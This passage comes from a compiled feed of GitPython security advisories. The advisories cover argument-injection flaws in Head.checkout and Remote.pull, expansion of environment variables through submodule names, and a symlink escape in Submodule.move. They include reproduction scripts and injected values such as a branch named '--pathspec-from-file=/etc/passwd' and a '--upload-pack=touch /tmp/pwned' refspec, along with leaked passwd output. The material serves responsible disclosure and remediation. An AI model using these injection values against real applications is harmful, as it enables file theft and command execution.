Git.check_unsafe_options( options=Git._option_candidates([], kwargs), unsafe_options=Git.unsafe_git_pathspec_from_file_options, ) kwargs["f"] = force if kwargs["f"] is False: kwargs.pop("f") self.repo.git.checkout(self, **kwargs) ``` `self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv, and is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`, so keyword-derived options precede positionals — which is why the rest of the library puts `"--"` first (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count` all do). `Head.checkout` does not. ##### Why the branch name is attacker-controlled Git accepts a refname whose branch component begins with `-` and contains `/` (`raw/02-refname-accepted-and-cloned.txt`): ``` >>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd' exit=0 stderr='' => un refname que empieza con '-' y lleva '/' es VALIDO para git >>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099 exit=0 stderr='' >>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd' exit=0 HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd ref en disco como arbol jerarquico: True >>> Repo.clone_from('file://<bare>', <victim>) # la app solo clona ramas LOCALES creadas por el clone, sin que nadie las pida: refs/heads/--pathspec-from-file=/etc/passwd repo.active_branch.name = '--pathspec-from-file=/etc/passwd' coincide con el nombre hostil: True ``` The transcript above also shows the second half: `git clone` **materialises that branch locally on its own** when the remote `HEAD` points at it — the consuming application never asks for it. A plain git server accepts the refname over `receive-pack`, with no `--force` and no special config (`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server — a `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://` transport, which exercises the same git wire protocol as `https://`; I did not test against a hosted forge, since that would mean writing to a third party. ##### Why the leak reaches the caller The file contents are in `CommandError.__str__`, not only in the `.stderr` attribute (`git/exc.py`): ```python self.stderr = stderr_decode and "\n stderr: '%s'" % stderr_decode or "" def __str__(self) -> str: return (self._msg + "\n cmdline: %s%s%s") % ( self._cmd, self._cause, self._cmdline, self.stdout, self.stderr, ) ``` So `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the file. The developer does not have to know `.stderr` exists. ##### Full chain ``` Repo.clone_from(<attacker URL>) ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd ↓ git clone creates that LOCAL branch unasked repo.active_branch → Head with name = "--pathspec-from-file=/etc/passwd" ↓ Head.checkout() git/refs/head.py:286 — guard inspects kwargs only ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no "--" git checkout --pathspec-from-file=/etc/passwd ↓ git emits one `error:` per unmatched pathspec — one per line of the file GitCommandError → CommandError.__str__ → the consumer ``` ##### Steps to Reproduce Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local — temporary repositories and the `file://` transport. No remote hosts, no third-party repositories. The bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per scenario under `raw/`. Minimal manual reproduction: ```bash python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62 W=$(mktemp -d) git init -q -b main "$W/a"; echo x > "$W/a/f.txt" git -C "$W/a" add f.txt git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c git clone -q --bare "$W/a" "$W/a.git" SHA=$(git -C "$W/a.git" rev-parse HEAD) ##### the attacker names their default branch after the file they want git -C "$W/a.git" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA" git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd' cat > "$W/consumer.py" <<'PYEOF' import logging, sys, git logging.basicConfig(level=logging.INFO, format="%(message)s") try: repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL repo.active_branch.checkout() # ensure a clean working tree except git.exc.GitCommandError: logging.exception("clone failed") PYEOF /tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim" ``` ##### Raw Request The real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`). This is the command GitPython actually built — the branch name became an option: ``` argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt'] ``` ##### Raw Response Observed output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched pathspec, which is one per line of the target file: ``` error: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git error: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git error: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git error: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git error: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git' ``` `raw/03-full-file-disclosure.txt` counts the recovery against the real file: ``` Archivo objetivo: /etc/passwd (34 lineas no vacias) [CASO] repo.active_branch.checkout() — nadie paso un nombre de rama repo.active_branch.name = '--pathspec-from-file=/etc/passwd' -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34 ``` ##### Impact An attacker who can get an application to clone a repository they control reads any file the application's process can read, with the contents returned in band. `/etc/passwd` was recovered in full (34 of 34 lines) in the run recorded in `poc.log`. The attacker needs **no account and no privilege in the consuming application**, and no configuration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable consumer is six lines of ordinary code. This is the central use case of the library — CI systems, repository importers, scanners and bots that clone user-supplied URLs. ##### Impact precondition **Holds if:** the consuming application clones a repository whose default branch name the attacker chose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`, which needs no branch-name input from the application at all. **Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways — `git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which `receive-pack` accepts without `--force` or special configuration (`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never writes the branch name; `git clone` materialises it. **Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62 (latest release) with git 2.55.0, in the single run recorded in `poc.log` (2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller. ##### Limits, stated plainly - Only the full long spelling works, because a refname cannot contain a space and is therefore a single argv token; `git` rejects the abbreviated forms. This was established while developing the payload and is **not** part of the attached run — the run exercises the working spelling only. - The attacker must know an absolute path to the target file. - Lines are disclosed only when they do not match a path in the repository. With a one-file hostile repository none of them do, so the attacker controls this condition too. - The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for `git checkout` on 2.55.0. ##### Negative control Full statement of what each control isolates and what would invalidate it: `negative-controls.md`. Every batch opens **and closes** with a positive control; if the closing one does not fire, the batch is discarded. **Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file="/etc/passwd")` — the same payload via kwargs. Fires in every batch: `UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`. This proves the guard exists, is active under the default, and recognises the option — so a null result elsewhere cannot be the instrument failing to reach the code. **Negative control.** The identical call on a branch named `benigna`. One variable changes: the leading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed. **Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`). The same payload against the two methods in `git/refs/head.py` that received the guard in the same commit, 185 lines apart: ``` [CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK] Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK] ``` `HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout` (`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative explanation that any string containing `--pathspec-from-file` reaching git would disclose the file. ##### Remediation One line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file: ```python options=Git._option_candidates([self], kwargs), ``` **The other candidate was evaluated and rejected.** Writing `self.repo.git.checkout("--", self, **kwargs)` would match the `--` pattern used elsewhere in the library and would also cover future `git checkout` options — but it **changes the semantics and breaks the method**: in `git checkout -- <arg>`, everything after `--` is a *pathspec*, not a branch. The command would stop switching branches and start restoring files. The `--` pattern works for `fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch operands; it does not transfer here. For defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would also close the weaker `PR:L` path. That is a separate, optional change. ##### Prior art and de-duplication All GitPython advisories in the GitHub database were reviewed — `gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47** (the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in two rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory: - **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is the positive control in every batch of this report. The **positional** path is not covered by it. Neighbours, none overlapping: - **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the patch that did not come back to `head.py:286`. - **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for "a value placed before the `--` with no leading-dash check", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional to the guard; this one does not. - **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs. Different sink (filesystem path construction) and different impact (write and delete), but it establishes that attacker-influenced ref names is a premise this project has already accepted. ##### No open fix proposal Searched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`, `gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request proposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this guard (#&#8203;2204, #&#8203;2180, #&#8203;2163) are all merged and none of them does it — #&#8203;2204 is the PR that introduced *both* call sites in this file, one checking its positional and one not. Full matrix in `dup-check.md`. ##### The project's own tests carry the same asymmetry `test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this report is about: - `HEAD.reset` — the **positional** is tested (lines 304-308). - `Head.checkout` — only the **kwargs** path is tested (lines 282-291). So the positional variant is a case the suite already knows how to write; it just was not written for `checkout`. The docstring added by #&#8203;2204 to `Head.checkout` states that `--pathspec-from-file` requires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path does not deliver. Nothing in the project declares the positional acceptable here. ##### Why the one-line fix works, which is not obvious `Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two path components (`reference.py:122-132`), so a `Head` constructed on `refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with `refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes the guard see that same serialised string, which is why the one-line change closes it. ##### Evidence | File | What it establishes | |---|---| | `poc.sh` | driver — runs all seven scenarios as one unit | | `poc.log` | full transcript of the single reference run | | `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous | | `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` | | `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked | | `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered | | `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows | | `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught | | `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` | | `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag | | `negative-controls.md` | what each control isolates and what would invalidate it | | `evidence.sha256` | integrity of every raw file and script | ##### Disclosure Reported privately through GitHub private vulnerability reporting. No third-party systems were touched: every repository in this report is a temporary local one, and all transport is `file://`. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2) - [https://github.com/gitpython-developers/GitPython/pull/2233](https://github.com/gitpython-developers/GitPython/pull/2233) - [https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5](https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-23mf-xhv8-69c2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution [CVE-2026-110858](https://nvd.nist.gov/vuln/detail/CVE-2026-110858) / [GHSA-f9j4-qggq-h239](https://github.com/advisories/GHSA-f9j4-qggq-h239) <details> <summary>More information</summary> #### Details ##### Summary `Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=<command>`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`). ##### Root Cause `Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = ["--upload-pack"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch. ```text Affected function: git.remote.Remote.pull Source: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull("--", self, refspec, ...) invocation) ``` ##### Impact An attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial. ##### Proof of Concept ```text Environment: GitPython from the affected source tree; system git 2.43.0. The pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38). ``` Reproduction steps: 1. Create an origin repository reachable over a local-path transport. 2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec. 3. Observe that the injected command executes. ```python import git repo = git.Repo("consumer") # has an origin using a local-path or ssh transport origin = repo.remote("origin") ##### Attacker-controlled refspec value; default arguments (allow_unsafe_options=False): origin.pull(refspec="--upload-pack=touch /tmp/pwned; git-upload-pack") ``` ```text cmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack [attack] marker created (RCE) : True [isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes) [sibling] same value via git fetch : safe (pull-specific behavior) [control] benign refspec : safe ``` ##### Attack Chain 1. **Exposure:** An application calls `Remote.pull(refspec=<value>)` on the default path, where `<value>` is derived from attacker-influenced input such as a branch or refspec request parameter. 2. **Control:** The attacker supplies the string `--upload-pack=<command>; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape. 3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `<transport>::` form) and does not flag an `--upload-pack=` token. 4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`. 5. **Primitive:** The value is forwarded to `git pull -v -- <remote> --upload-pack=<command>; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program. 6. **Result:** For a local-path or SSH transport, git executes `<command>` as the upload-pack program, giving arbitrary command execution as the calling process user. ##### Bypass Evidence The relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard. The `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- <remote> '--upload-pack=<cmd>'` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `<transport>::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink. ##### Affected Versions - `Ecosystem: pip (PyPI)` - `Package: GitPython` - `Confirmed affected range: >= 3.1.30` - `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag` - `Fix status: not fixed in any released version or on the development branch` The keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists. ##### Suggested Fix Enforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert. Reported by zx (GitHub: @&#8203;manus-pi). #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239) - [https://github.com/gitpython-developers/GitPython/pull/2247](https://github.com/gitpython-developers/GitPython/pull/2247) - [https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a](https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-f9j4-qggq-h239) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name [CVE-2026-110855](https://nvd.nist.gov/vuln/detail/CVE-2026-110855) / [GHSA-fx3j-rwgx-fr94](https://github.com/advisories/GHSA-fx3j-rwgx-fr94) <details> <summary>More information</summary> #### Details ##### Summary `Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are. ##### Root cause / Details `git/repo/base.py`'s `_clone()` has: ```python sep_dir = kwargs.get("separate_git_dir") if sep_dir: kwargs["separate_git_dir"] = Git.polish_url(sep_dir) ``` This is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: "Disable this for values obtained from an untrusted source, such as remote URLs." Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path. `separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, "modules", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation. ##### Reproduction (live, against real, unmodified GitPython code, no monkeypatching) Built a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the "victim" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses: ```python repo = Repo.clone_from(evil_parent_url, victim_clone_dir) repo.submodule_update(init=True, recursive=True) ``` Observed result (`ls .git/modules/`): ``` .git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/ (a full git repo: HEAD, config, objects/, refs/, hooks/) ``` The literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=<value>` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.) **Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/<name>` as expected — isolating the gap to submodule names containing environment-variable syntax specifically. ##### Already-known check Checked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/<name>` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` cover `expand_vars`, but only on URL arguments. `git log -p -S "separate_git_dir" -- git/repo/base.py` shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit `57d05379`). The closest topical match is `GHSA-8mcc-hrx5-hvxc` ("`clone_from()`/`clone()` omit `--separate-git-dir` from `unsafe_git_clone_options`") — already fixed, and its own text discusses this same `_clone()` handling of `separate_git_dir`. That fix only added `--separate-git-dir` to the `unsafe_git_clone_options` denylist, which gates the direct-kwarg vector; `Submodule._clone_repo()` explicitly sets `allow_unsafe_options=True` for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current `main`, which already has that fix). The bug this report describes is independent of that denylist — the *value* itself is expanded via `os.path.expandvars()` regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it. No advisory describes environment-variable expansion via the internal `separate_git_dir` path. ##### Suggested fix Add `expand_vars=False` to the `Git.polish_url(sep_dir)` call in `_clone()`, matching the four other call sites already fixed for the same class of issue. ##### Verification level Reproduced in a real environment: plain Linux, unmodified GitPython from current `main`, real git ≥ 1.7.5 behavior, an ordinary `git submodule add` + `clone` + `submodule_update(init=True, recursive=True)` workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion). ##### AI Use Disclosure AI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission. Credit: please use "baeseungwon1010" (github.com/baeseungwon1010). #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94) - [https://github.com/gitpython-developers/GitPython/pull/2255](https://github.com/gitpython-developers/GitPython/pull/2255) - [https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238](https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fx3j-rwgx-fr94) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree [CVE-2026-110860](https://nvd.nist.gov/vuln/detail/CVE-2026-110860) / [GHSA-gq48-pqfc-9p58](https://github.com/advisories/GHSA-gq48-pqfc-9p58) <details> <summary>More information</summary> #### Details ##### Summary GitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree. The reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree. The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required. ##### Trust boundary and preconditions The attacker controls: - an untrusted Git repository that the application clones; - a mode-`120000` tracked symlink named `vendor`; - the initialized submodule's content. The consuming application controls the call and uses a fixed layout rule: ```python submodule.move("vendor/module") ``` The trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path. ##### Product and directly verified revisions - Package: `GitPython` (`pip` ecosystem) - Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50` - Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124` - Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c` - Upstream state rechecked: 2026-09-10 KST Only these two revisions were directly tested. ##### Severity and weakness The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state. For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow. No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated. ##### Reproducer The following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration. Run it from a 